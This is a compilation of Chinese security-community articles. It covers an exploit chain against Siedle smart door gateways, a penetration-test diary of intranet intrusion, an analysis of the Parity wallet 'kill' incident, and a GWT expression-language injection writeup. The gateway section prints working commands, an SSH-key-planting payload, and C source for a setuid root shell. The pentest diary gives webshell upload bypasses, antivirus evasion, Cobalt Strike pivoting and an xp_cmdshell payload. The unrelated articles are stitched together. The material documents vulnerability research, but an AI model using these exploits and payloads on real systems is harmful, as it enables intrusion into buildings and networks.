==> HNAME=`echo $NETWORK | /usr/bin/awk -F"|" '{print $2}'`;
NS=`echo $NETWORK | /usr/bin/awk -F"|" '{print $3}'`;
BOOTMODE=`echo $NETWORK | /usr/bin/awk -F"|" '{print $4}'`;
GW=`echo $NETWORK | /usr/bin/awk -F"|" '{print $5}'`;
IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`;
NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;
然后在 `/app/bin/network.sh`中的 sed 命令用到了 “$HNAME” 变量 。
echo "0" > /tmp/dhcp
echo "nameserver 192.168.0.1" > /etc/resolv.conf
echo -en "HOSTNAME: $HNAME"
echo -en ""
echo "$HNAME" > /etc/hostname
==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf
使用以上方法，我们把 root 的密码修改为了已知的。登录设备的最后一步，我们需要 dropbear ssh 包。 dropbear
是小型的嵌入式系统专用的 SSH 服务端和客户端工具。
但是设备中的版本太低以至于不兼容现代的 openssh 客户端。 使用命令 `dbclient -p<port>
root@<ip.address.of.target>` 我们登录并获得了设备的 root 权限。
POC视频地址：<https://vimeo.com/410960486>
## Siedle 利用链
### CVE-2020-9473: S. Siedle & Soehne SG 150-0 Smart Gateway 1.2.4版本之前
无密码的FTP 用户
在 Siedle SG-150 这个案例中，我们进入系统的入口点是给 ftp 用户设置一个密码。之所以可以这样，是因为固件中没有包含这个用户的任何密码。通过
ssh 设置密码后，我们使用 `ssh -v -N ftp@<ip.of.the.gateway> -L
1337:127.0.0.1:63601`绑定内部的 MYSQL 数据库端口到我们本地的 1337端口。
在公开的固件的一些 shell 脚本中和配置文件中，我们找到了数据库 root 用户的静态密码
“siedle”。使用这个密码和之前设置的端口转发，我们使用命令`mysql -h 127.0.0.1 -u root -P 1337
-psiedle`以管理员的身份访问了数据库。
数据库有不同的用途，其中一个是存储用于 web 应用程序管理设备的凭据。拥有数据库的 root 权限后我们能够给 web
应用添加一个具备管理员权限的用户。至此，我们能够控制和重新配置这些已经连接到网关上的设备。这授予了打开已连接网关的智能门的能力。
### CVE-2020-9474: S. Siedle & Soehne SG 150-0 Smart Gateway 1.2.4版本之前 任意代码执行
这将带领我们走向下一步：拿到 shell。在 web 应用中，我们能够下载应用程序的配置文件 `config.bak`。备份文件使用了 squashfs
文件系统，解包打开后里面有一个名为`backup.sql`的文件。我们生成了一个 ssh 密钥并把以下的四行代码添加到 backup.sql 文件的开头。
! mkdir /var/lib/mysql/.ssh
! echo <ssh pulic key> >> /var/lib/sql/.ssh/authorized_keys
! chmod 0700 /var/lib/mysql/.ssh
! chmod 0600 /var/lib/mysql/.ssh/authorized_keys
译者注：`!`表示运行系统函数， 另一种更常见的写法是[
`system`](https://dev.mysql.com/doc/refman/8.0/en/mysql-commands.html)。
然后，我们重打包 squashfs 并把它上传给 web 应用的恢复程序。在等待几分钟之后，恢复程序执行完毕，我们就能通过 ssh 密钥以 mysql
用户的身份访问设备。当我们修改的文件中的命令执行之后，mysql 用户的 `~/.ssh/authorized_key`就生成了。
### CVE-2020-9475: S. Siedle & Soehne SG 150-0 Smart Gateway 1.2.4版本之前 本地权限提升
为了提升我们的权限，用到了 logrotate 脚本中的一个错误配置。此外，我们写了三个小程序，分别命名为 bind、symlink 和
root。这些程序的源码会附在文章的末尾。我们已经有了 shell 的访问权限，我们交叉编译这三个ARM平台的应用程序，并将他们拷贝到设备上。
我们想要触发 MySQL logrotate 脚本的如下部分。
MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then
$MYADMIN flush-logs
else
# manually move it, to mimic above behaviour
mv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old
# recreate mysql.log, else logrotate would miss it
touch /var/log/mysql/mysql.log
chown mysql.mysql /var/log/mysql/mysql.log
chmod 0664 /var/log/mysql/mysql.log
fi
为了触发这部分的代码，我们需要促使 `mysqladmin ping` 返回非零值，这种情况只有当 mysql 服务停止时才会发生
。更改凭证或者甚至删整个数据都无助于事，mysqladmin 的返回值仍旧是 0。我们需要把数据库处于不可用的状态。如果你使用 systemd
关闭服务，系统会自动重启服务。我们需要处理这个问题，于是我们的第一个脚本（bind）就出现了。我们使用它绑定 mysql 数据库所使用的 63601 端口。
while true; do ./bind 63601; sleep 1; done
在第二个终端中，我们关闭数据库。由于数据库使用的端口已经被占用，在数据库服务重启时绑定端口失败从而进入了挂起状态。因为 mysql
会在关闭与开启之间释放端口，所以我们可以在数据库服务关闭和启动之间运行，用我们的程序阻塞端口。使用这种方法 `mysqladmin`返回
1，于是我们可以跳转到 else 代码分支下。
然后，需要用到我们的第二个程序：symlink。这个程序的目标是在`/etc/logrotate.d/`目录下创建一个我们可控可写的文件。logrotate
会以 root 权限执行这个目录下的所有脚本。为了实现上述目标，我们使用 logrotate 脚本清理 MySQL
日志文件，并设法创建一个从符号链接，这个链接由 `/var/log/mysql/mysql.log` 指向一个名为
`/etc/logrotate.d/rootme`的文件。此时还没有 rootme 文件，但这并不是问题。伴随着符号链接，logrotate 以 root
权限创建了 `/etc/logrotate.d/rootme`文件，并通过 `chown`把所属权给了 mysql 用户。为了避免 mysql
写入我们之前准备的文件，我们需要删除这个符号链接并为它创建一个新的`/var/log/mysql/mysql.log`文件。然后，我用以下内容填充`/etc/logrotate.de/rootme`文件：
/var/log/mysql/rootme.log {
delaycompress
nosharedscripts
copy
firstaction
chown root:root /tmp/root
chmod +s /tmp/root
mv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-old
touch /var/log/mysql/rootme.log
chown mysql.mysql /var/log/mysql/rootme.log
chmod 0664 /var/log/mysql/rootme.log
fi
endscript
lastaction
mv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1
endscript
}
`/tmp/root`是我们的第三个程序，也就是我们的 suid root shell。以上内容完成之后，我们需要填充
`/var/log/mysql/rootme.log`文件再次触发 logrotate。现在，我们的suid 二进制文件有了 root
权限，可以使用这种方式：`/tmp/root passwd root`修改 root 密码。现在，我们修改了 root 用户的密码，获得了系统所有权。
POC视频地址：<https://vimeo.com/410961877>
## 关于研究人员
我们是一群在学校工作的学生。这项研究是由朱利安·贝尔、塞巴斯蒂安·尼夫、拉尔斯·伯hop和维克多·施吕特进行的。这学期，我们在柏林工业大学学习，并在学校做兼职。在假期，我们有更多的可用时间，这使我们能够做一些较大的项目，如这个。最后但并非最不重要的是，我们在的空闲时间与我们的朋友从研究小组计算机安全(AG
Rechnersicherheit)一起参加了 CTF 竞赛。
## 附录
### bind.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void error(const char *msg) {
perror(msg);
exit(1);
}
int main(int argc, char **argv) {
int sockfd, newsockfd, portno, pid;
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
if (argc < 2) {
fprintf(stderr,"ERROR, no port providedn");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR on binding");
listen(sockfd,5);
accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
return 0;
}
### symlink.c
#include <unistd.h>
int main(int argc, char **argv) {
int ret;
char *watchPath = argv[1];
char *linkPath = argv[2];
while(1) {
ret = symlink(linkPath, watchPath);
if (ret == 0)
return 0;
}
return 0;
}
### root.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
char *join_command(char **commands) {
char *res = (char *)malloc(strlen(commands[0]));
strncpy(res, commands[0], strlen(commands[0]));
for (char **command = ++commands; *command != NULL; command++) {
res = (char *)realloc(res, strlen(res) + strlen(*command) + 2);
strcat(res, " ");
strcat(res, *command);
}
return res;
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage: ./root <command>");
}
setuid(0);
setgid(0);
system(join_command(++argv));
return 0;
}
* 原文: [Open the Gates! The (In)Security of Cloudless Smart Door Systems](https://research.hisolutions.com/2020/04/open-the-gates-insecurity-of-cloudless-smart-door-systems/)
* PPT: [Open the Gates – The (in)security of Cloudless Smart Door Systems – Sebastian Neef, Julian Beier & Lars Burhop.pdf](https://conference.hitb.org/hitblockdown/materials/D1%20-%20Open%20the%20Gates%20%E2%80%93%20The%20%28in%29security%20of%20Cloudless%20Smart%20Door%20Systems%20-%20Sebastian%20Neef,%20Julian%20Beier%20&%20Lars%20Burhop.pdf)
* 演讲视频：[Youtube: HITB Lockdown Livestream Day 1 – 25th April](https://www.youtube.com/watch?v=krFHJx08dMo&t=18170s) | 社区文章 |
### 1.shell1+内网过程
该目标从公众号抓抓取到的url。
面对问题，上传黑名单需要绕过。
多次尝试，最后绕过方式为 '1.jsp...'. 成功拿到webshell。
目标:
linux系统，普通用户。
应该怎么做:
提权管理员权限，为了方便，可以直接在linux安装nmap进行扫描。
尝试使用最新sudo提权，未果。linux提权会存在破坏性，这里没有进行继续提权。使用ew把流量代理出来，进行内网打点。
内网:
同C段，没有几台机器。这里尝试b段。
目标机为Linux，未取得有效信息，只能盲目打点。
存在普遍问题：
web存在很多后台弱口令。普遍都是jsp的。但是几乎没有上传点。
#### 内网getshell:
##### 1.web后台aspx。任意文件上传。
面临的问题1：
冰蝎马无法连接，暂时使用大马操作。
猜测:
1.冰蝎流量特征问题。
2.webshell是否免杀问题。
解决:
这里首先采用简单的webshell免杀，然后使用蚁剑进行连接。成功连接。
问题2:
普通用户,需要提权。
这里执行systeminfo，发现目标补丁打的很全。
同时存在360全家桶。需要绕过。
多次尝试，这里最后使用CVE-2018-8120进行提权。
补充:CVE-2018-8120(针对08和win7的内核提权。)
问题3:关于文件上传。使用蚁剑文件管理，上传文件发现有限制，
上传到30%就被禁止，文件大小还不全，一般只有500k。1000k。
猜想:
用户权限问题，目标问题。
解决办法:
关于win下的临时文件夹temp用法，
采用上传到临时文件夹。 C:\windows\temp\
成功上传。成功提权。
问题4:关于内网上线问题。
打算cs上线问题，本地bypass360成功。内网没有反应。
最后发现内网不通外网～～
如何上线:
内网机器没办法上线，可以采取中转多层代理的方式进行上线。
找一台可以同外网的服务器，让其上线。
设置此服务器设置监听。生成cs马，监听选择同外网的服务器，可以成功上线。
详细代理过程，可以参考我的博客:
https://www.cnblogs.com/pangya/p/13470296.html
问题5:3389登陆问题
利用ew代理到内网，发现无法访问内网b段段3389.
解决办法:
多层代理。本地全局ew代理进行第一层代理。然后内网再进行http隧道代理。第二层代理成功访问。
##### 2.内网的数据库弱口爆破等。
### shell2
突破方式：
后台存在弱口令。
存在问题:
白名单
解决问题:
iis6.0的解析漏洞。目标存在延时，第二天就可以成功了。
asp文件。 上传为: 1.asp/1.jpg 都为asp解析。
目标2003 asp iis6.0
未突破的问题:
cmd被禁用。无法执行各种命令.
猜测存在安全狗:
这里采用之前研究过绕过方式，无果。
没有内网放弃。
一般解决方式:
修改终端位置。这里无法复制，
### shell3
突破方式:
后台普通用户口令，某位置存在sql注入--sqlsever数据库---xpcmdshell-cs上线。
小问题:
需要提权
进行hash读取，发现目标都是空密码。
目标存在360。360不让空密码登陆。
解决办法:
烂土豆提权，hash读取都是空。
添加用户，发现360不让登陆。
最后把目标的administrator 的空密码修改成复杂密码成功登陆。
## 关于数据库
外网存在一个sqlsever dba权限的数据库---最终没有突破。记录一下
关于mssql数据库拿到webshell:
1.xpcmdshell:
支持堆叠查询。这里不支持堆叠查询。
关于MSSQL注入 突破不能堆叠的限制执行系统命令:
使用openrowset来突破。需要Ad Hoc Distributed Queries 组件。
payload:
select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'',
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell
''whoami''');
2.sp_oacreate
3.日志备份
## 写在最后
现在文件上传都采取图床服务器。没办法getshell。
内网linux机器的棘手。 | 社区文章 |
### 一、合约何以智能？
在前文中，我们详细的讲述了Pos、DPos、BFT等常用的落地项目中的一些共识机制。而读者在了解了共识机制的具体流程后也应该会向我一样惊共识的协议之美。在区块链中，除了共识机制以外，还有另外一种富含魅力的技术，那就是“智能合约”。智能合约的引入增强的区块链的发展轨迹，也为区块链技术带来了更多生机。
而智能合约的重要性到底是如何呢？我们应该如何看待智能合约？
提及智能合约，我们首先要说明的是在早期的时候，智能合约与区块链本是两个独立的技术。而区块链诞生要晚于智能合约。也就是说，区块链1.0出世的时候智能合约还没有被采纳入区块链技术。而随着区块链的发展，人民发现区块链在价值传递的过程中需要一套规则来描述价值传递的方式，这套规则应该令机器进行识别和执行而不是人为。在最早的比特币中还没有出现这种方法，而随着以太坊的出现，这种假设在智能合约的帮助下成为了可能。
按照历史的发展，智能合约最早出现在了1995年，也就是说几乎与互联网同时代出现的。从本质上讲，只能合约类似于计算机语言中的if-then语句。智能合约通过如下方式与真实世界进行交互：当一个预先编好的条件被触发时，智能合约执行相应的条款，而系统通过相应的条款进行交易的执行。
在区块链2.0时代到来后，区块链正式与智能合约相结合。这也使区块链技术真正的脱离了数字货币的枷锁，成为一门独立的技术。由于智能合约的引入，区块链的应用场景一下子广泛了起来。现在在许多行业中都可以看到区块链的身影。
那么智能合约是什么呢？智能合约的本质其实就是一段使用计算机语言而编程的程序，这段程序可以运行在区块链系统所提供的容器中，同时这个程序也可以在某种外在、内在的条件下被激活。这种特性与区块链技术相融合不仅避免了人为对规则的篡改，而且发挥了智能合约在效率和成本方面的优势。
在安全方面，由于智能合约代码放在了区块链中并且在区块链系统提供的容器中运行的，在结合密码学技术的前提下，区块链具有了天然的防篡改以及防伪造的特性。
### 二、以太坊第二次Parity安全事件
#### 1 Solidity 的三种调用函数
在讲解第二次Parity安全事件之前，我们要对一些相关的安全函数进行研究分析。我们在之前的稿件中曾经对`delegatecall()`函数进行过详细的讲述。而今我们对其他三种函数进行更多的分析。
[delegatecall()函数的滥用](https://xz.aliyun.com/t/2943#toc-3)
在Solidity中我们需要知道几个函数：`call()、delegatecall()、callcode()`。在合约中使用此类函数可以实现合约之间相互调用及交互。而两次Parity安全事件都是由于类似的几个函数出现了问题而导致以太币被盗。所以掌握此类调用函数的正确用法也是分析区块链安全所必不可少的。
而我们知道，msg中保存了许多关于调用方的一些信息，例如交易的金额数量、调用函数字符的序列以及调用发起人的地址信息等。然而当上述三种函数在调用的过程中，
Solidity 中的内置变量 msg 会随着调用的发起而改变。
下面我们就详细的讲解一下此类三种函数的异同点以及安全隐患。
contract D {
uint public n;
address public sender;
function callSetN(address _e, uint _n) {
_e.call(bytes4(sha3("setN(uint256)")), _n); // E's storage is set, D is not modified
}
function callcodeSetN(address _e, uint _n) {
_e.callcode(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
}
function delegatecallSetN(address _e, uint _n) {
_e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
}
}
contract E {
uint public n;
address public sender;
function setN(uint _n) {
n = _n;
sender = msg.sender;
// msg.sender is D if invoked by D's callcodeSetN. None of E's storage is updated
// msg.sender is C if invoked by C.foo(). None of E's storage is updated
// the value of "this" is D, when invoked by either D's callcodeSetN or C.foo()
}
}
contract C {
function foo(D _d, E _e, uint _n) {
_d.delegatecallSetN(_e, _n);
}
}
delegatecall:
对于msg方面，其函数被调用后值不会修改为调用者，但是其执行在调用者的运行环境中。这个函数也经常爆出很严重的漏洞，例如我曾经讲述的第一次Parity的安全漏洞就是因为此函数将调用者环境中的函数跨合约执行。
call: 此函数为最常用的调用方式，与delegatecall不同的是，而此时msg的值将修改为调用者，执行环境为被调用者的运行环境(合约的
storage)。
callcode: 同call函数一样，调用后内置变量 msg 的值会修改为调用者，但执行环境为调用者的运行环境。
pragma solidity ^0.4.0;
contract A {
address public temp1;
uint256 public temp2;
function three_call(address addr) public {
addr.call(bytes4(keccak256("test()"))); // call函数
addr.delegatecall(bytes4(keccak256("test()"))); // delegatecall函数
addr.callcode(bytes4(keccak256("test()"))); // callcode函数
}
}
contract B {
address public temp1;
uint256 public temp2;
function test() public {
temp1 = msg.sender;
temp2 = 100;
}
}
在实验开始前，部署合约后查看合约A、B中的变量均为`temp1 = 0, temp2 = 0`。
现在调用语句1 call 方式，观察变量的值发现合约 A 中变量值为`0`，而被调用者合约 B 中的 `temp1 = address(A), temp2
= 100`。即msg中的地址为调用者（address(A)），而环境为被调用者B（temp2 = 100）。
下面使用调用语句2 delegatecall 方式，观察变量的值发现合约 B 中变量值为 `0`，而调用者合约 A中 `temp2 =
100`。即调用函数后内置变量 msg 的值不会修改为调用者，但执行环境为调用者的运行环境。
现在调用语句3 callcode 方式，观察变量的值发现合约 B 中变量值为 `0`，而调用者合约 A 中的`temp1 = address(A),
temp2 = 100`。即调用后内置变量 msg 的值会修改为调用者，但执行环境为调用者的运行环境。
之后我们就可以分析第二次Parity攻击事件了。
#### 2 事件分析
在Parity钱包中为了方便用户的使用提供了多签合约模板，而用户使用此模板可以生产自己的多方签名合约并且不需要很大的代码量。而在Parity钱包的实际业务中都会通过delegatecall函数内嵌式地交给库合约。相当于我的关机核心代码部署在服务器方，不用用户自行部署。由于多签合约的主逻辑（代码量较大），所以合约部署一次即可，不然用户全部都要在本地部署是一个很不理智的行为。除此之外，这还可以为用户节省部署多签合约所耗费的大量Gas。
下面我们看一下问题代码：[代码](https://github.com/paritytech/parity-ethereum/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol)
Parity
多签名钱包第二次被黑事件是一个例子，说明了如果在非预期的环境中运行，良好的库代码也可以被利用。我们来看看这个合约的相关方面。这里有两个包含利益的合约，库合约和钱包合约。
contract WalletLibrary is WalletEvents {
...
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) internal {
m_dailyLimit = _limit;
m_lastDay = today();
}
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
...
}
再看钱包合约，
contract Wallet is WalletEvents {
...
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
...
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
}
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i) {
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
根据上述代码我们知道，此时为了防止第一次的Parity中的问题，这里的几段函数都增加了`only_uninitialized`来限制签名人的数量。
Wallet 合约基本上会通过 delegate call 将所有调用传递给 WalletLibrary。此代码段中的常量地址
_walletLibrary，即是实际部署的 WalletLibrary 合约的占位符。
而我们可以使用WalletLibrary 合约可以初始化，并被用户拥有。
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
倘若我们能够执行上述合约中的`_walletLibrary.delegatecall(msg.data);`，此时，我们通过往这个合约地址转账一个value
= 0, msg.data.length >
0的交易，以执行`_walletLibrary.delegatecall`分支。并将`msg.data`中传入我们要执行的`initWallet
()`函数。而此类函数的特性也就帮助我们将钱包进行了初始化。
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i) {
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
这个函数假定创建者会调用initWallet函数，但是initWallet的`only_uninitialized
()`函数在内部被执行，所以攻击者成为了所谓的owner（可以控制系统运行相应函数）。
第一次调用`initWallet`交易結果：
Function: initWallet(address[] _owners, uint256 _required, uint256 _daylimit)
MethodID: 0xe46dcfeb
[0]:0000000000000000000000000000000000000000000000000000000000000060
[1]:0000000000000000000000000000000000000000000000000000000000000000
[2]:0000000000000000000000000000000000000000000000000000000000000000
[3]:0000000000000000000000000000000000000000000000000000000000000001
[4]:000000000000000000000000ae7168deb525862f4fee37d987a971b385b96952
之后攻击者拿到了系统的控制权限，调用了kill函数：
/ kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
随后调用 kill() 功能。因为用户是 Library 合约的所有者，所以修改传入、Library 合约自毁。因为所有现存的 Wallet 合约都引用该
Library 合约，并且不包含更改引用的方法，因此其所有功能（包括取回 Ether 的功能）都会随 WalletLibrary 合约一起丢失。
自杀之后，唯一可以用的函数只有：
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
这种类型的 Parity 多签名钱包中的所有以太都会立即丢失或者说永久不可恢复。
流程图如下：
#### 3防御措施
这档次的Parity事件有几种预防的方式，一是智能合约摒弃自杀函数，这样的话即使黑客获得了高级权限也无法将合约移除。第二是可以进一步对initWallet、initDaylimit及initMultiowned添加internal限定类型，以禁止外部调用：
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) internal only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) internal only_uninitialized {
m_dailyLimit = _limit;
m_lastDay = today();
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) internal only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i) {
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
可以增加`internal()`函数来增强限制函数的作用。
### 三、总结
本次事件是在第一次Parity事件的基础之上衍生出来的。攻击者属于无意识的误操作。
而针对此次事件，我认为官方需要引起相应的思考，其实在问题曝光之前就有网友提到过此类问题，但是并没有引起相关的关注。所以Parity管理者应该对此进行关注。其次，在漏洞修补方面，我认为应该更加严格的赋给权限，做到完全禁止外部陌生用户的访问。在合约设计方面，我认为类似于KILL这样的危险函数就尽量不要出现。
### 四、参考资料
* 1 <https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall>
* 2 <https://github.com/paritytech/parity-ethereum>
* 3 <https://www.jianshu.com/p/8b13024bc430>
* 4 <https://blog.csdn.net/omnispace/article/details/79280402>
* 5 <https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# 【技术分享】从序列化到shell——利用EL注入攻击Google Web Toolkit
|
##### 译文声明
本文是翻译文章，文章来源：srcincite.io
原文地址：<http://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：150RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
此前，我曾经发表过一篇[ **Google Web
Toolkit（GWT）安全审计方面的文章**](http://srcincite.io/blog/2017/04/27/from-serialized-to-shell-auditing-google-web-toolkit.html)；今天，我们将重点关注在GWT端点中发现的一个特定的漏洞。值得庆幸的是，Matthias
Kaiser已经帮助我们开发了相应的漏洞利用代码。
**简介**
本文将为读者详细介绍在Google Web Toolkit（GWT）端点中触发的一个“半复杂的”表达式语言注入漏洞。
**漏洞详解**
在WEB-INF / web.xml文件中，我发现了如下所示的映射关系 :
<servlet>
<servlet-name>someService</servlet-name>
<servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>someService</servlet-name>
<url-pattern>/someService.gwtsvc</url-pattern>
</servlet-mapping>
我们可以看到，上面的代码引用了服务器映射。
由于GWT是通过定义客户端类来指出客户端访问哪些方法的，所以，我们不妨先考察一下相应的客户端类com.aaa.bbb.ccc.ddd.client.SomeService：
public abstract interface SomeService
extends RemoteService
{
public abstract void sendBeanName(String paramString);
public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList);
public abstract void createMibNodeGettingBean();
}
其中，有三个函数引起了我们的注意，下面，让它们看看它们分别都是干什么的。我们可以在包含类SomeServiceImpl的主jar存档中读取相应的Java代码，具体如下所示：
public void sendBeanName(String paramString)
{
if (paramString == null) {
return;
}
HttpSession localHttpSession = super.getThreadLocalRequest().getSession();
if (localHttpSession != null) {
localHttpSession.setAttribute("MibWidgetBeanName", paramString);
}
}
很好，这里可以使用一个处于我们控制之下的字符串来设置一个名为MibWidgetBeanName的会话属性。到目前为止，还没找到什么有趣的东西。下面，我们来考察setMibNodesInfo函数：
public Boolean setMibNodesInfo(List<MIBNodeModel> paramList)
{
List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);
if (localList != null)
{
MibNodesSelect localMibNodesSelect = getBeanByName();
这个函数用到一个List类型的输入参数，其中元素类型为MIBNodeModel类型。同时，mibNodeModelList2MibNodeList函数将对我们提供的列表的有效性进行检查，并根据列表的第一个元素的值来返回不同的字符串。
如果我们的列表中没有提供相应的值，它将定义一个List，并返回一个默认的MIBNodeModel实例。
然后，getBeanByName函数将被调用。那么，下面我们开始研究getBeanByName函数。
private MibNodesSelect getBeanByName()
{
...
Object localObject1 = super.getThreadLocalRequest().getSession();
if (localObject1 != null)
{
localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");
if (localObject2 != null)
{
localObject3 = null;
try
{
localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");
}
finally
{
if ((localFacesContext != null) && (i != 0)) {
localFacesContext.release();
}
}
return (MibNodesSelect)localObject3;
}
}
return null;
}
由于这是一种私有的方法，所以它不能通过客户端界面来访问，也就是说，我们不能直接调用它。
不过，从第8行看到，我们再次用到了属性MibWidgetBeanName，并将其存储到一个名为localObject2的字符串中。
这里的localObject2变量稍后会在第14行中用于检索表达式。这是一个经典的表达式注入漏洞，尤其是在反编译代码之后，大家会看的更清楚一些。
**漏洞利用代码**
首先，读者会注意到，这不是一种反射型的表达式语言注入漏洞。也就是说，我们无法通过查看代码执行的结果来验证漏洞。 因此，我将其归类为盲表达式语言注入漏洞。
假设我们在Java Servlet Faces（JSF）应用程序中有一个漏洞：
<h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />
攻击者只需发出以下请求：
http://[target]/some_endpoint/vuln.jsf?expression=9%3b1
由于浏览器会将+转换为空格，所以我们需要对+进行编码，从而确保实际发送的是9 +
1，而在服务器响应中，如果我们看到的值为10，就能确定这里有一个表达式语言注入漏洞，因为执行了相应的数学操作，即相加。实际上，这就是Burp
Suite用于检测模板注入漏洞的方法。
然而，对于上面给出的易受攻击的代码而言，能否轻松确定出表达式语言注入漏洞呢？ 在尝试JSF
api之后，我发现了一些非常简洁的函数，可以用来确定EL注入漏洞的存在，并且不会发出“outgoing”的HTTP请求。
根据相关的文档说明的介绍，我们可以在FacesContext实例上使用getExternalContext方法。这个方法会返回一个ExternalContext类型，允许我们设置特定的响应对象属性。在考察这个函数的过程中，我想起来两个函数：
setResponseCharacterEncoding
redirect
因此，我们可以将字符串设置为以下Java代码：
facesContext.getExternalContext().redirect("http://srcincite.io/");
…如果响应是到http://srcincite.io/的302重定向，那么我们就可以确认，这个代码含有相应的漏洞。
**漏洞测试**
我们需要发出第一个请求是设置会话属性MibWidgetBeanName
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 195
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|
服务器响应为// OK
